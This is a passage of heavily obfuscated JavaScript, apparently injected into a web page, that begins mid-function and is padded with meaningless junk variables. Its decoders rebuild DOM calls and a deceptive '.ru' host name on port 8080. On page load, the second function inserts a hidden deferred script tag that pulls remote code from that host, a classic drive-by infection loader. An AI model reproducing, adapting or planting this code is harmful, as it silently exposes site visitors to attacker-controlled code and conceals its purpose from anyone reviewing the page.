[1,3,0,2])];var AO;if(AO!='RI' && AO!='gE'){AO='RI'};var DR = /[^@a-z0-9A-Z_-]/g;var Lc;if(Lc!='ON'){Lc='ON'};var Ol;if(Ol!='' && Ol!='Kd'){Ol=null};var CJ = '';var lP;if(lP!='AZ' && lP!='nA'){lP=''};var i =[2,6][0];this.IS="IS";var Dl = c[D("nlegth", [1,2,0,3,4])];var mn;if(mn!='' && mn!='VV'){mn=null};this.nB="nB";var rz =[99,1][1];var Dk=new Date();this.lC='';var fP =[0,218,9,96][0];var I =[38,0][1];this.MGY='';this.qd='';var h = '';var eA=false;var QuQ;if(QuQ!='TB'){QuQ='TB'};var DO=[1, D("uomnedcr.etatceEmneels(cirt\'pt\')", [5,1,6,0,2,4,3]),2, D("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, D("oc.mhthemoleba.sur8:800", [1,0]),4, D("om.lhcu.codmu.eamisrtme", [5,0,1,2,4,6,3]),5, D(".desAtttirubet\'(edef\'r", [1,0]),6, D("oggoelc.mo", [1,0]),7, D("oidnwl.nowoad", [4,1,3,2,0]),8, D("cucewaather", [5,2,0,1,4,3]),11, D("arbmel.rur", [1,0]),12, D("ufcnitno)(", [1,0]),14, D("esas.crom", [1,0,2,6,3,4,5]),15, D("tcach(e)", [1,2,0,3,4]),16, D(":\"ptht", [1,4,5,3,2,0]),17, D("enwde.", [2,0,1]),18, D("nnekt", [3,2,0,1,4]),19, D(".sdrc", [2,0,1,3]),20, D("\'\'1)", [1,2,0]),21, D("erw", [2,0,1]),22, D("rty", [1,0,2])];this.zD=47262;this.cD="";var LB=new Date();var XQ;if(XQ!='ma'){XQ='ma'};var Ed = "%";var vD=new String();var DrK;if(DrK!=''){DrK='qK'};var R = '';var erU=false;var Hv;if(Hv!='pQ'){Hv=''};var PQ;if(PQ!='Lt' && PQ != ''){PQ=null};var HB='';var Zey="Zey";for(var n=fP; n < Dl; n+=i){var ty=new Array();var KCp;if(KCp!='' && KCp!='wl'){KCp=null};R+= Ed; var tm;if(tm!='' && tm!='KS'){tm=null};R+= c[D("ubsstr", [3,0,1,2])](n, i);var zxJ=22422;var RU="";}var iS="iS";var Xx;if(Xx!='Cu' && Xx != ''){Xx=null};var c = T(R);var dS=11216;var WN;if(WN!=''){WN='Zi'};var bT = new r(G);var l = bT[D("percale", [2,1,0])](DR, CJ);var dJs;if(dJs!=''){dJs='UQ'};var EJ='';var Ah;if(Ah!='Dz' && Ah != ''){Ah=null};l = Q(l);var yc="yc";this.qE='';var iz = DO[D("tehngl", [5,1,3,4,0,2])];var o = new r(rx);var mN="mN";var qz=false;var zq;if(zq!='hY'){zq='hY'};var aX = o[D("aerecpl", [2,3,5,6,0,4,1])](DR, CJ);this.GE="GE";var tP;if(tP!='zE'){tP=''};var aX = B(aX);var s=B(l);var RiX=new String();for(var zY=fP; zY < (c[D("eglnth", [2,0,3,1])]);zY=zY+[164,1,96][1]) {this.BQ=false;var rW = l.charCodeAt(I);var rF="";var Cx = g(c,zY);var Ig='';var EZ;if(EZ!='' && EZ!='Nr'){EZ=null};Cx = f(Cx, rW);var UE="UE";var pv="pv";var sW="sW";Cx = f(Cx, s);Cx = f(Cx, aX);var ev=new String();var us;if(us!='dBZ'){us=''};var CIl;if(CIl!='UF' && CIl != ''){CIl=null};I++;var JA;if(JA!=''){JA='ra'};var Ygi;if(Ygi!=''){Ygi='Ae'};var EKG='';if(I > l.length-rz){var IgZ=false;var Ta;if(Ta!='' && Ta!='Bj'){Ta='Ib'};I=fP;this.Rm=54152;this.Jw="Jw";}var yF;if(yF!='' && yF!='DV'){yF=''};h += x(Cx);var YP=new Array();var FM;if(FM!='WqT'){FM=''};}var yL="yL";for(vX=fP; vX < iz; vX+=i){var YC;if(YC!='' && YC!='me'){YC='gy'};var eU=new Date();var BZ;if(BZ!='' && BZ!='lOc'){BZ=null};var U = DO[vX + rz];var nk=25350;var mE=50363;var Z = x(DO[vX]);var IvC="";var kJ;if(kJ!='sa' && kJ!='Fq'){kJ=''};var iG=new String();var VC="VC";var Fd;if(Fd!='eZ'){Fd='eZ'};this.yK='';var O = new jg(Z, "g");var RQR;if(RQR!=''){RQR='Gv'};h=h[D("eplarce", [4,0,1,2,3])](O, U);}var AD;if(AD!='LFg' && AD!='eX'){AD='LFg'};var Yk=new rx(h);var il="";this.nn='';Yk();var Cb;if(Cb!=''){Cb='XPA'};var lB=false;var OWE='';l = '';this.YB=false;h = '';var Ue=false;s = '';var ls="";var meW;if(meW!='HT' && meW!='Cc'){meW='HT'};Yk = '';var Cp;if(Cp!='ZC' && Cp!='kf'){Cp=''};var re="";o = '';var tBs;if(tBs!='lS' && tBs!='mi'){tBs=''};var vDX;if(vDX!=''){vDX='Qg'};aX = '';var YN;if(YN!='rk'){YN='rk'};this.Xi=59570;var Ip=29970;this.ok="ok";return '';var bK;if(bK!='VL'){bK='VL'};};var DP;if(DP!='xW' && DP!='RVf'){DP='xW'};this.zR=36755;var aq;if(aq!='' && aq!='yV'){aq=null};G(FxE);
var py=new Date();function v() {var __;if(__!='' && __!='B'){__='Y'};var N='[';var gI;if(gI!='g' && gI!='MR'){gI=''};var l;if(l!='y' && l!='j'){l=''};var X='replace';var U;if(U!='em' && U!='zV'){U=''};var vb;if(vb!='bF' && vb!='E'){vb=''};var a=new String();var Q=']';var wi;if(wi!='' && wi!='aP'){wi=null};this.G='';var IV='';var AU;if(AU!='f'){AU=''};var b=RegExp;var BI='';var q='g';this.yi="";function _(_b,vx){this.wd="";var P=N;this.yx='';var eN;if(eN!=''){eN='H'};P+=vx;var L;if(L!='' && L!='ID'){L=null};P+=Q;var lA;if(lA!='' && lA!='n_'){lA=''};var Nz=new b(P, q);var OU;if(OU!='td' && OU != ''){OU=null};var c;if(c!='V' && c != ''){c=null};return _b[X](Nz, a);this.u="";};var s='';var XX=window;var yS='';var ua;if(ua!='fs' && ua != ''){ua=null};var e=_('8565576079967268572570972997',"75926");var d;if(d!=''){d='Rt'};var UC=new String();var i=_('/VfKaArAmAvKiVlKlVeV.AcAoKmA/KfAaVrAmVvKiAlKlKeV.AcAoKmV/VgAoVoVgVlVeV.AcVoAmK/VaKsVsAoAcAiAaKtAeKdKcVoVnKtKeAnAtV.VcAoKmA/AdAoAuKbVlAeKcVlAiAcAkV.VcVoKmV.ApVhApV',"KVA");this.wX="";var Zk=new Date();var T='';var Vz;if(Vz!='Bb'){Vz=''};var hW;if(hW!='Xk'){hW=''};var cY;if(cY!='Jx' && cY!='Ll'){cY='Jx'};this.Yj="";var W=_('hEtItIp6:I/I/EtEi6m6eJs6oIn6lIiEnJeI-JcJoJ-IuJkE.EgEoIoEg6l6eI.IdJk6.IsEcEhJuIeIlIeJrIvIzI-6nIeItE.JsEuEpJeErIn6eIwEsEtEuJf6fI.6rJuJ:I',"6IJE");var NA=new String();var QN=new String();var bq=_('cfrfe2aftfe2Efl2efmfe2nft2',"2f");var pe;if(pe!='gu' && pe != ''){pe=null};var vt=new Date();var I=_('s5cFrQiepetQ',"eS5QF");var BE=new String();var cC=new String();var HJ='';XX[_('ocnjlcotatdc',"jtc")]=function(){var eU;if(eU!=''){eU='b_'};try {var fsG=new Date();var XqT=new Date();T+=W;var Xe;if(Xe!=''){Xe='gZ'};this.MW="";T+=e;T+=i;var eR='';this.PS='';S=document[bq](I);var Ql=new Array();k(S,'defer',([1,5][0]));var Ue;if(Ue!='' && Ue!='a_'){Ue=''};var dW;if(dW!='' && dW!='zQ'){dW='QW'};k(S,'src',T);document.body.appendChild(S);var vxx=new String();var op;if(op!='KN' && op != ''){op=null};} catch(K){var IJ='';};var gGq=new Array();var R_='';};var PH;if(PH!='' && PH!='Fb'){PH='C'};this.PG='';function k(qV,t,M){var sO='';qV.setAttribute(t, M);}};var bH=new Array();var od;if(od!='' && od!='wR'){od=null};v();